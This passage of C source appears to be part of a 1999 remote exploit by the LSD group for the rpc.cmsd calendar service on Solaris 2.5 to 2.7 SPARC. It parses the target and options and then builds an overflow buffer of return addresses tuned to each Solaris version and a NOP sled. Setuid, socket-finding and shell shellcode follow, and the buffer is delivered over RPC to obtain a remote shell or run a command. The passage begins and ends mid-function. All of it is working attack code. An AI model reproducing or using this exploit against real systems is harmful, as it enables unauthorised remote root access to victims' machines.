    printf("copyright LAST STAGE OF DELIRIUM jul 1999 poland  //lsd-pl.net/\n");
    printf("rpc.cmsd for solaris 2.5 2.5.1 2.6 2.7 sparc\n\n");

    if(argc<2){
        printf("usage: %s address [-t][-s|-c command] [-p port] [-v 5|6|7]\n",
            argv[0]);
        exit(-1);
    }

    while((c=getopt(argc-1,&argv[1],"tsc:p:v:"))!=-1){
        switch(c){
        case 't': flag|=4;break;
        case 's': flag|=2;break;
        case 'c': flag|=1;cmd=optarg;break;
        case 'p': port=atoi(optarg);break;
        case 'v': vers=atoi(optarg);
        }
    }

    if(vers==5) *(unsigned long*)address=htonl(0xefffcf48+600);
    if(vers==6) *(unsigned long*)address=htonl(0xefffed0c+100);
    if(vers==7) *(unsigned long*)address=htonl(0xffbeea8c+600);

    printf("adr=0x%08x timeout=%d ",ntohl(*(unsigned long*)address),tm.tv_sec);
    fflush(stdout);

    adr.sin_family=AF_INET;
    adr.sin_port=htons(port);
    if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
        if((hp=gethostbyname(argv[1]))==NULL){
            errno=EADDRNOTAVAIL;perror("\nerror");exit(-1);
        }
        memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
    }else{
        if((hp=gethostbyaddr((char*)&adr.sin_addr.s_addr,4,AF_INET))==NULL){
            errno=EADDRNOTAVAIL;perror("\nerror");exit(-1);
        }
    }
    if((b=(char*)strchr(hp->h_name,'.'))!=NULL) *b=0;

    if(flag&4){
        sck=RPC_ANYSOCK;
        if(!(cl=clntudp_create(&adr,CMSD_PROG,CMSD_VERS,tm,&sck))){
            clnt_pcreateerror("\nerror");exit(-1);
        }
        stat=clnt_call(cl,CMSD_PING,xdr_void,NULL,xdr_void,NULL,tm);
        if(stat!=RPC_SUCCESS) {clnt_perror(cl,"\nerror");exit(-1);}
        clnt_destroy(cl);
        if(flag==4) {printf("sent!\n");exit(0);}
    }

    adr.sin_port=htons(port);

    sck=RPC_ANYSOCK;
    if(!(cl=clnttcp_create(&adr,CMSD_PROG,CMSD_VERS,&sck,0,0))){
        clnt_pcreateerror("\nerror");exit(-1);
    }
    cl->cl_auth=authunix_create(hp->h_name,0,0,0,NULL);

    sprintf(calendar,"xxx.XXXXXX");
    req1.target=mktemp(calendar);
    req1.new_target="";

    stat=clnt_call(cl,CMSD_CREATE,xdr_req1,&req1,xdr_void,NULL,tm);
    if(stat!=RPC_SUCCESS) {clnt_perror(cl,"\nerror");exit(-1);}

    b=buffer;
    for(i=0;i<ADRNUM;i++) *b++=address[i%4]; 
    *b=0;
    b=&buffer[2000];
    for(i=0;i<2;i++) *b++=0xff; 
    for(i=0;i<NOPNUM;i++) *b++=nop[i%4]; 

    if(flag&2){
        i=sizeof(struct sockaddr_in);
        if(getsockname(sck,(struct sockaddr*)&adr,&i)==-1){
            struct{unsigned int maxlen;unsigned int len;char *buf;}nb;
            ioctl(sck,(('S'<<8)|2),"sockmod");
            nb.maxlen=0xffff;
            nb.len=sizeof(struct sockaddr_in);;
            nb.buf=(char*)&adr;
            ioctl(sck,(('T'<<8)|144),&nb);
        }
        n=-ntohs(adr.sin_port);
        printf("port=%d connected! ",-n);fflush(stdout);

        *((unsigned long*)(&findsckcode[56]))|=htonl((n>>10)&0x3fffff);
        *((unsigned long*)(&findsckcode[60]))|=htonl(n&0x3ff);
        for(i=0;i<strlen(setuidcode);i++) *b++=setuidcode[i];
        for(i=0;i<strlen(findsckcode);i++) *b++=findsckcode[i];
        for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
    }else{